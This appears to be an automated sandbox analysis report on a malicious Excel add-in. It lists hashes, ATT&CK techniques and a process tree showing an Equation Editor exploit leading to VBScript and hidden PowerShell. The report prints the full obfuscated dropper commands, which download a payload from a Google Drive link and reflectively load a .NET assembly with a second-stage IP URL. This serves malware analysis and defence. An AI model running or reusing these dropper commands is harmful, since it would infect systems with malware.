756a9f9016b69053d2fda277be628f93f629d0a45299bc88bd8a95b2722464af

General

Target

756a9f9016b69053d2fda277be628f93f629d0a45299bc88bd8a95b2722464af.xlam
Size

719KB
MD5

c76d319f7177a7c65c84b13ef366a747
SHA1

23548c316070c88a68b3cd68ae4c708eba91e110
SHA256

756a9f9016b69053d2fda277be628f93f629d0a45299bc88bd8a95b2722464af
SHA512

33f26f9a0eafedee6c1958425072f8c8f9d9f2dcfd31a5e7b1bc34d9c997632ce15a572c0d6c34e105a602a233ad7dca2eb24dbe68ad788077f402eafa29a9c1
SSDEEP

12288:nb7e6DDgasCeaepqrZojpvKievCqWM2KZLwgn7QbBt4slfofgHz8nOZzcEkQ:by0ETFaQqripJzqWM2KZkGKXlfo8zRZt

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1-Wdgeq0fX9aApdlSW9dln1Pc_KEGpfHp

exe.dropper

https://drive.google.com/uc?export=download&id=1-Wdgeq0fX9aApdlSW9dln1Pc_KEGpfHp

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	1496	EQNEDT32.EXE
6	2768	WScript.exe
7	2768	WScript.exe
9	2744	powershell.exe
11	2744	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2864	powershell.exe
2744	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	drive.google.com
9	drive.google.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
1496	EQNEDT32.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	6	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2260	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2864	powershell.exe
2744	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2260	EXCEL.EXE
2260	EXCEL.EXE
2260	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1496 wrote to memory of 2768	1496	EQNEDT32.EXE	32
PID 1496 wrote to memory of 2768	1496	EQNEDT32.EXE	32
PID 1496 wrote to memory of 2768	1496	EQNEDT32.EXE	32
PID 1496 wrote to memory of 2768	1496	EQNEDT32.EXE	32
PID 2768 wrote to memory of 2864	2768	WScript.exe	34
PID 2768 wrote to memory of 2864	2768	WScript.exe	34
PID 2768 wrote to memory of 2864	2768	WScript.exe	34
PID 2768 wrote to memory of 2864	2768	WScript.exe	34
PID 2864 wrote to memory of 2744	2864	powershell.exe	36
PID 2864 wrote to memory of 2744	2864	powershell.exe	36
PID 2864 wrote to memory of 2744	2864	powershell.exe	36
PID 2864 wrote to memory of 2744	2864	powershell.exe	36

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\756a9f9016b69053d2fda277be628f93f629d0a45299bc88bd8a95b2722464af.xlam
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2260

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1496
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Mondayyy.vbs"
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2768
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJFBTaG9tRVs0XSskUFNoT21FWzM0XSsneCcpICgoKCdqQ3lpbWFnZVVybCA9IGZ5Umh0dHBzJysnOi8vZHJpdmUuZ29vZ2xlLmNvbS91YycrJz9leHBvcnQ9ZG93bmxvYWQmaWQ9MS1XZGdlcTBmWDlhQXBkbFNXOWRsbjFQY19LRUdwZkhwIGZ5UjtqQ3l3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbScrJy5OZXQuV2ViQ2xpZW50O2pDeWltYWdlQnl0ZXMgPSBqQ3l3JysnZWJDbGllbnQuRG93bmxvYWREYXRhKGpDeWltYWdlVScrJ3JsKTtqQycrJ3lpbWFnZVQnKydleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhqQ3lpbWFnZUJ5dGVzKTtqQ3lzdGFydEZsYWcgJysnPScrJyBmeVI8PEJBU0U2NF9TVEFSVD4+ZnlSO2pDeWVuZEZsYWcgPSBmeVI8PEJBU0U2JysnNF9FTkQ+PmZ5UjtqQ3lzdGFydEluZGV4ID0gakN5aW1hZ2VUZXh0LkluZGV4T2YoakN5Jysnc3RhcnRGbGFnKTtqQ3llbmRJbmRleCAnKyc9IGpDeWltYWdlJysnVGV4dC5JbicrJ2RleE9mKGpDeWVuZEZsYWcpO2pDeXN0YXJ0SW5kZXggLWdlIDAgLWFuZCBqQ3llbmRJbmRleCAtZ3QgakN5c3RhcnRJbmQnKydleDtqQ3lzdGFydEluZGV4ICs9IGpDeXN0YXJ0RmxhZy5MZW5ndGg7akN5YmFzZTY0TGVuZ3RoID0gJysnakN5ZW4nKydkSW5kZXggLSBqQ3lzdGFydEluZGV4O2pDeWJhc2U2NENvbW1hbmQgPSBqQ3lpbWFnZVQnKydleHQuU3Vic3RyaW5nKGpDeXN0YXJ0SW5kZXgsIGpDeWJhc2U2NExlbmd0aCk7aicrJ0N5YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoakN5YmFzZTY0Q29tbScrJ2FuJysnZC5Ub0NoYScrJ3JBcnJheSgpIHQ5WiBGb3JFYWNoLU9iamVjdCB7IGpDeV8gfSlbLTEuLi0oakN5YmFzJysnZTY0JysnQ29tbWFuZC5MZW5ndGgpXTtqQ3ljb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaScrJ25nKGpDeWJhc2U2NFJldmVyc2VkKTtqQ3lsb2FkZWRBc3MnKydlJysnbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoakN5Y29tbWFuZEJ5JysndGVzKTtqQ3l2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGZ5UlZBSWZ5Uik7akN5dmFpTWV0aG9kLkludm9rZShqQ3ludWxsLCBAKGZ5UnR4dC5rY2FieWFkdHNyaUYvODguMDYuJysnNScrJzkuMzIvLzpwdHQnKydoZnknKydSLCBmeVJkZXNhdGl2YWRvZnlSLCBmeVJkZXNhdGl2YWRvZnlSLCBmJysneVJkZXNhdGl2YWRvZnlSLCBmeVJBZGRJblByb2NlJysnc3MzMmZ5UiwgZnlSZGVzYXRpdmFkb2Z5UiwgZnlSZGVzYXRpdmFkb2Z5UixmeVJmeVIsZnlSZnlSLGZ5UmZ5UixmeScrJ1JmJysneVIsZnlSZnlSLGZ5UjFmeVIpKTsnKSAgLVJFUGxBQ0UgIChbY2hBcl0xMTYrW2NoQXJdNTcrW2NoQXJdOTApLFtjaEFyXTEyNCAtUkVQbEFDRShbY2hBcl0xMDIrW2NoQXJdMTIxK1tjaEFyXTgyKSxbY2hBcl0zOSAtQ3JFUExhQ2UgICdqQ3knLFtjaEFyXTM2KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $PShomE[4]+$PShOmE[34]+'x') ((('jCyimageUrl = fyRhttps'+'://drive.google.com/uc'+'?export=download&id=1-Wdgeq0fX9aApdlSW9dln1Pc_KEGpfHp fyR;jCywebClient = New-Object System'+'.Net.WebClient;jCyimageBytes = jCyw'+'ebClient.DownloadData(jCyimageU'+'rl);jC'+'yimageT'+'ext = [System.Text.Encoding]::UTF8.GetString(jCyimageBytes);jCystartFlag '+'='+' fyR<<BASE64_START>>fyR;jCyendFlag = fyR<<BASE6'+'4_END>>fyR;jCystartIndex = jCyimageText.IndexOf(jCy'+'startFlag);jCyendIndex '+'= jCyimage'+'Text.In'+'dexOf(jCyendFlag);jCystartIndex -ge 0 -and jCyendIndex -gt jCystartInd'+'ex;jCystartIndex += jCystartFlag.Length;jCybase64Length = '+'jCyen'+'dIndex - jCystartIndex;jCybase64Command = jCyimageT'+'ext.Substring(jCystartIndex, jCybase64Length);j'+'Cybase64Reversed = -join (jCybase64Comm'+'an'+'d.ToCha'+'rArray() t9Z ForEach-Object { jCy_ })[-1..-(jCybas'+'e64'+'Command.Length)];jCycommandBytes = [System.Convert]::FromBase64Stri'+'ng(jCybase64Reversed);jCyloadedAss'+'e'+'mbly = [System.Reflection.Assembly]::Load(jCycommandBy'+'tes);jCyvaiMethod = [dnlib.IO.Home].GetMethod(fyRVAIfyR);jCyvaiMethod.Invoke(jCynull, @(fyRtxt.kcabyadtsriF/88.06.'+'5'+'9.32//:ptt'+'hfy'+'R, fyRdesativadofyR, fyRdesativadofyR, f'+'yRdesativadofyR, fyRAddInProce'+'ss32fyR, fyRdesativadofyR, fyRdesativadofyR,fyRfyR,fyRfyR,fyRfyR,fy'+'Rf'+'yR,fyRfyR,fyR1fyR));') -REPlACE ([chAr]116+[chAr]57+[chAr]90),[chAr]124 -REPlACE([chAr]102+[chAr]121+[chAr]82),[chAr]39 -CrEPLaCe 'jCy',[chAr]36) )"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Exploitation for Client Execution

1

T1203

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
be007b24ec37ed1d7bab28db3e272281

SHA1
62e456a8d2b619daabcadab781e9f930ffefff11

SHA256
a1c7d0853eb77fde640536f1e61417740aab444dc87b29507c5c33d079478236

SHA512
30df2d442f726778894002049f78758f468269131da30d768866e39a11ef7023f51d5b6c634c76f9631e2c2978521137dc07f6d364c0c8a902889eedb0cd8d8e

Download Submit
C:\Users\Admin\AppData\Roaming\Mondayyy.vbs

Filesize
2KB

MD5
590ddf122e578bbc4d925c1df8a8acbf

SHA1
ca4fdc823bd59eba301e092ffb7541b614cf3f75

SHA256
8fd47bd19dc4a4487788ed0f117afaf4155d30616082da7a3f6f1db17e65221d

SHA512
666e0566124b15e8441ebe4e2542577a1f990d8ec3aecaf7c43980226d8e8c21a89cfd43e79e85ecaf48af7430876d422e3bacea0e77b9b1576e47b4f58e58cb

Download Submit
memory/2260-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2260-1-0x0000000072BED000-0x0000000072BF8000-memory.dmp

Filesize
44KB

Download
memory/2260-16-0x0000000072BED000-0x0000000072BF8000-memory.dmp

Filesize
44KB

Download

Analysis

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